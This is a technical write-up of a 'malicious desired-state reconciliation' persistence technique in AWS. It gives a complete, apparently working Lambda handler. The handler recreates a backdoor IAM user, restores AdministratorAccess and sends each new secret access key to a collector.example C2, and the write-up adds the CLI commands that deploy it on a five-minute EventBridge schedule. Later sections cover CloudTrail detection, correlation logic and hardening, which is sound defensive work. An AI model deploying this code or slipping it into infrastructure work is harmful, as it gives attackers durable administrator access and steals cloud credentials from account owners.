Creating a privileged IAM user once is fragile. A defender can delete its key, detach its policy, or delete the user. Reconciliation changes the persistence model: automation treats the malicious identity as desired state and restores whichever component is missing.

The validated implementation uses an EventBridge schedule to invoke Lambda every five minutes. The function inspects one IAM user, restores AdministratorAccess, creates a replacement access key when necessary, and sends each new secret to the attacker.

Deleting the IAM user is not enough while the scheduler, reconciler, and its IAM repair authority remain intact.

Technique

The reusable technique is malicious desired-state reconciliation. A controller observes security-sensitive state, compares it with attacker-defined desired state, and repairs drift. Polling checks the state on an interval. Event-driven detection reacts to a state-change event. This implementation validates only polling through scheduled Lambda execution.

flowchart LR
    D[Defender removes privileged state]
    O[Recurring state observation]
    R[Repair authority]
    S[Privileged IAM state restored]
    D --> O
    O -->|drift found| R
    R --> S
    S -. next remediation .-> D
    class D principal
    class O,R,S awsResource
The durable capability is the reconciliation loop, not the IAM user it recreates.

Required properties

  1. Automation can observe the protected state directly or inspect it on a schedule.
  2. An execution mechanism runs attacker-controlled reconciliation logic.
  3. The execution identity can recreate or repair every state component being protected.
  4. A scheduler, function, role, or equivalent anchor survives the remediation applied to the restored resource.
  5. A retrieval path exists when repair creates a secret that AWS returns only once.

Implementations

Implementation Validation Drift detection Repair identity Persistence anchor Key tradeoff
Scheduled Lambda reconciler Validated Polls IAM every five minutes through EventBridge Lambda execution role EventBridge rule, function, and execution-role permissions Periodic IAM reads and deterministic repair events make the loop correlatable.

EventBridge event patterns, Step Functions, and CloudFormation could support other reconciliation designs, but this repository has not validated those paths. They are not presented as working implementations.

How the implementation works

On each invocation, the Lambda function checks for one IAM user, recreates it when absent, restores the AdministratorAccess policy when detached, and creates a new access key when no active key exists. IAM returns the secret only during CreateAccessKey, so the function sends it during that repair.[1]

The credential-bearing identity is an IAM user because roles do not own long-term access keys. AdministratorAccess grants Action: * on Resource: * and can be attached directly to a user.[2][3]

Execution requirements

The deployment principal needs:

  • lambda:CreateFunction and iam:PassRole for a suitable Lambda execution role.
  • events:PutRule and events:PutTargets for the recurring rule.
  • lambda:AddPermission on the function so EventBridge can invoke it.

The Lambda execution role must trust lambda.amazonaws.com. For the target user, it needs iam:GetUser, iam:CreateUser, iam:ListAttachedUserPolicies, iam:AttachUserPolicy, iam:ListAccessKeys, iam:CreateAccessKey, and iam:DeleteAccessKey. The attachment permission must allow the arn:aws:iam::aws:policy/AdministratorAccess policy.[4]

These IAM permissions can be scoped to the exact user ARN, such as arn:aws:iam::111122223333:user/service/application-deployment. iam:AttachUserPolicy can also be constrained with iam:PolicyARN so the execution role can attach only the intended managed policy.[5]

The function needs outbound HTTPS access to the C2. A function outside a customer VPC has outbound internet access by default. A VPC-attached function normally needs a NAT path for public internet access.[6]

Execution

The handler keeps the user name, path, administrator policy, and C2 endpoint in the deployment package. It uses IAM read operations on every invocation, but performs mutating actions only when part of the backdoor is missing.

import json
import urllib.request
from datetime import datetime, timezone

import boto3
from botocore.exceptions import ClientError

USER_NAME = "application-deployment"
USER_PATH = "/service/"
ADMIN_POLICY_ARN = "arn:aws:iam::aws:policy/AdministratorAccess"
COLLECTOR_URL = "https://collector.example/ingest"


iam = boto3.client("iam")


def ensure_user():
    try:
        iam.get_user(UserName=USER_NAME)
        return False
    except ClientError as error:
        if error.response["Error"]["Code"] != "NoSuchEntity":
            raise

    iam.create_user(UserName=USER_NAME, Path=USER_PATH)
    iam.get_waiter("user_exists").wait(
        UserName=USER_NAME,
        WaiterConfig={"Delay": 1, "MaxAttempts": 20},
    )
    return True


def ensure_admin_policy():
    response = iam.list_attached_user_policies(UserName=USER_NAME)
    attached = {
        policy["PolicyArn"] for policy in response["AttachedPolicies"]
    }
    if ADMIN_POLICY_ARN not in attached:
        iam.attach_user_policy(
            UserName=USER_NAME,
            PolicyArn=ADMIN_POLICY_ARN,
        )
        return True
    return False


def ensure_access_key():
    response = iam.list_access_keys(UserName=USER_NAME)
    keys = response["AccessKeyMetadata"]
    if any(key["Status"] == "Active" for key in keys):
        return None

    for key in keys:
        iam.delete_access_key(
            UserName=USER_NAME,
            AccessKeyId=key["AccessKeyId"],
        )

    return iam.create_access_key(UserName=USER_NAME)["AccessKey"]


def beacon(access_key, context):
    payload = json.dumps(
        {
            "function_arn": context.invoked_function_arn,
            "request_id": context.aws_request_id,
            "observed_at": datetime.now(timezone.utc).isoformat(),
            "user_name": access_key["UserName"],
            "access_key_id": access_key["AccessKeyId"],
            "secret_access_key": access_key["SecretAccessKey"],
            "status": access_key["Status"],
        }
    ).encode("utf-8")

    request = urllib.request.Request(
        COLLECTOR_URL,
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(request, timeout=3) as response:
        response.read()


def lambda_handler(event, context):
    user_created = ensure_user()
    policy_attached = ensure_admin_policy()
    access_key = ensure_access_key()

    if access_key is not None:
        beacon(access_key, context)

    return {
        "user_created": user_created,
        "policy_attached": policy_attached,
        "access_key_created": access_key is not None,
    }

The IAM user_exists waiter polls GetUser once per second and stops after the user becomes visible. The function timeout must leave room for that IAM consistency check and the outbound request.[7]

Package and create the function with an existing execution role that has the required IAM permissions:

zip function.zip lambda_function.py

aws lambda create-function \
  --function-name application-processing \
  --runtime python3.13 \
  --handler lambda_function.lambda_handler \
  --role arn:aws:iam::111122223333:role/application-processing \
  --timeout 30 \
  --zip-file fileb://function.zip

Create an EventBridge rule, authorize it to invoke the function, and attach the function as the target:[8][9]

aws events put-rule \
  --name application-processing-schedule \
  --schedule-expression 'rate(5 minutes)'

aws lambda add-permission \
  --function-name application-processing \
  --statement-id allow-eventbridge-processing-schedule \
  --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule

aws events put-targets \
  --rule application-processing-schedule \
  --targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'

The first scheduled invocation creates the IAM user, attaches AdministratorAccess, creates an active access key, and sends the only available copy of its secret to the C2. IAM returns the secret access key only during key creation.[1:1]

If the user still exists with an active key, later invocations generate only IAM read events. If the user exists but the policy or active key is missing, the function restores only that component. Programmatic deletion of an IAM user requires its access keys and attached policies to be removed first, creating a window in which the scheduled function can restore them before DeleteUser succeeds.[10]

Resilience and failure conditions

Persistence is bounded by the reconciliation anchor. Removing the restored IAM state does not stop the loop. Disabling the schedule, deleting the function, or removing the execution role’s repair permissions does.

Defender action Survives? Why
Delete the IAM user Yes The next invocation recreates the user, policy attachment, and key.
Delete the active access key Yes The reconciler creates another key and sends its one-time secret.
Detach AdministratorAccess Yes The reconciler reattaches the managed policy.
Downgrade permissions through policy detachment Yes The protected attachment is restored on the next poll.
Disable or delete the EventBridge schedule No Periodic state observation stops.
Remove IAM repair permissions from the execution role No The function can observe drift but cannot repair it.
Delete the Lambda reconciler No No code remains to compare and restore state.

The schedule is the recurrence anchor, the function is the logic anchor, and the execution role is the authority anchor. All three must remain usable for this implementation to persist.

Detection

The behavioral invariant is security-sensitive IAM state being removed or downgraded and then restored by automation. Correlate a successful delete or detach with repair actions against the same user, policy, or key within the five-minute polling interval. Baseline approved identity provisioning by target identity and reconciler role, not by broad administrator-role allowlists.

The Lambda and EventBridge provisioning chain provides earlier evidence. CreateFunction20150331 identifies the function, package digest, and execution role. PutRule records the schedule, PutTargets connects the rule to the function, and AddPermission20150331v2 authorizes invocation.[11][12]

{
  "eventTime": "2026-09-01T12:00:00Z",
  "eventSource": "lambda.amazonaws.com",
  "eventName": "CreateFunction20150331",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
  },
  "requestParameters": {
    "functionName": "application-processing",
    "runtime": "python3.13",
    "handler": "lambda_function.lambda_handler",
    "role": "arn:aws:iam::111122223333:role/application-processing",
    "code": {},
    "environment": {}
  },
  "responseElements": {
    "functionArn": "arn:aws:lambda:us-east-1:111122223333:function:application-processing",
    "codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
    "state": "Pending",
    "version": "$LATEST"
  }
}

IAM records all authenticated API calls as CloudTrail management events. The Lambda execution role appears under userIdentity.sessionContext.sessionIssuer.arn, which provides the join back to the function configuration.[13][14]

Detection inputs

Event source and name Operation-specific fields Why it matters
lambda.amazonaws.com and CreateFunction20150331 requestParameters.functionName, role, runtime, handler, responseElements.functionArn, codeSha256 Establishes the watchdog function and its IAM execution role.
events.amazonaws.com and PutRule requestParameters.name, scheduleExpression, state Establishes recurring execution.
events.amazonaws.com and PutTargets requestParameters.rule, targets[].arn Connects the recurring rule to the Lambda function.
iam.amazonaws.com and CreateUser requestParameters.userName, path, responseElements.user.arn Creates or recreates the backdoor identity.
iam.amazonaws.com and AttachUserPolicy requestParameters.userName, policyArn Grants the user AdministratorAccess.
iam.amazonaws.com and CreateAccessKey requestParameters.userName, responseElements.accessKey.accessKeyId, status Creates the long-term credential sent by the function.
iam.amazonaws.com and DeleteAccessKey requestParameters.userName, accessKeyId May precede automatic key replacement.
iam.amazonaws.com and DetachUserPolicy requestParameters.userName, policyArn May precede automatic administrator-policy restoration.
iam.amazonaws.com and DeleteUser requestParameters.userName May precede complete recreation of the backdoor.

Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, userIdentity.sessionContext.sessionIssuer.arn, sourceIPAddress, userAgent, and errorCode across these events.

Correlation logic

  1. Select successful CreateUser events initiated by an assumed role used as a Lambda execution role.
  2. Within two minutes, join AttachUserPolicy where the user name matches and policyArn equals arn:aws:iam::aws:policy/AdministratorAccess.
  3. Join CreateAccessKey for the same user and principal within the same two-minute window.
  4. Raise severity when DeleteUser, DeleteAccessKey, or DetachUserPolicy targeted that user during the previous ten minutes.
  5. Map the execution role to Lambda functions, then map those functions to scheduled EventBridge targets. A five-minute schedule that repeatedly performs IAM reads on one user is strong supporting evidence.
  6. Correlate the function with periodic outbound HTTPS to a new or rare destination when Lambda network telemetry is available.

Baseline approved IAM provisioning roles, automation users, Lambda execution roles, managed-policy attachments, and EventBridge schedules. Do not broadly allowlist administrator roles. Scope exceptions to the expected principal, target user, policy ARN, function, Region, and deployment source.

Hardening

Hardening must break observation, recurrence, reconciliation logic, repair authority, or secret retrieval. Protecting only the restored IAM user leaves the persistence anchor intact.

Control Implementation Why it helps
Lambda execution roles Remove iam:CreateUser, iam:CreateAccessKey, and IAM permissions-management actions from Lambda execution roles unless the workload requires them. Removes the function’s ability to build the backdoor.
Role passing Limit iam:PassRole to named Lambda execution roles and require iam:PassedToService to equal lambda.amazonaws.com.[15] Prevents a deployment principal from attaching an IAM-administration role to Lambda.
Permissions boundaries Require an approved boundary on CreateUser with the iam:PermissionsBoundary condition key. Ensure the boundary denies IAM administration and privilege escalation. Keeps an attached AdministratorAccess policy from granting unrestricted permissions.
Policy attachment Deny or tightly scope iam:AttachUserPolicy with iam:PolicyARN, especially for AdministratorAccess and other broad managed policies. Prevents the watchdog from restoring administrator privilege.
Access-key creation Restrict iam:CreateAccessKey to dedicated identity workflows and approved user ARNs. Prevents Lambda from generating a new long-term secret.
Lambda deployment Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:AddPermission, events:PutRule, and events:PutTargets for controlled deployment roles. Enforce code signing on protected functions.[16] Reduces who can install or replace a scheduled watchdog.
Network egress Place Lambda functions that do not need public internet in private subnets without NAT, with VPC endpoints for required AWS services. Removes the direct path used to send the secret access key to a C2.
Configuration monitoring Compare Lambda functions, execution roles, EventBridge targets, IAM users, attached policies, and access keys with approved infrastructure. Alert on recreation after deletion. Exposes the complete persistence relationship instead of treating each resource separately.

References


  1. AWS IAM API Reference, CreateAccessKey. ↩︎ ↩︎

  2. AWS IAM User Guide, IAM roles. ↩︎

  3. AWS Managed Policy Reference, AdministratorAccess. ↩︎

  4. AWS IAM API Reference, AttachUserPolicy. ↩︎

  5. AWS Service Authorization Reference, Actions, resources, and condition keys for IAM. ↩︎

  6. AWS Lambda Developer Guide, Enable internet access for VPC-connected functions. ↩︎

  7. Boto3 API Reference, IAM.Waiter.UserExists. ↩︎

  8. Amazon EventBridge User Guide, Creating a rule that runs on a schedule. ↩︎

  9. Amazon EventBridge API Reference, PutTargets. ↩︎

  10. AWS IAM API Reference, DeleteUser. ↩︎

  11. detection.wiki, AWS Lambda CloudTrail events and CreateFunction sample. ↩︎

  12. detection.wiki, EventBridge CloudTrail events and samples. ↩︎

  13. AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎

  14. AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎

  15. AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎

  16. AWS Lambda Developer Guide, Configuring code signing. ↩︎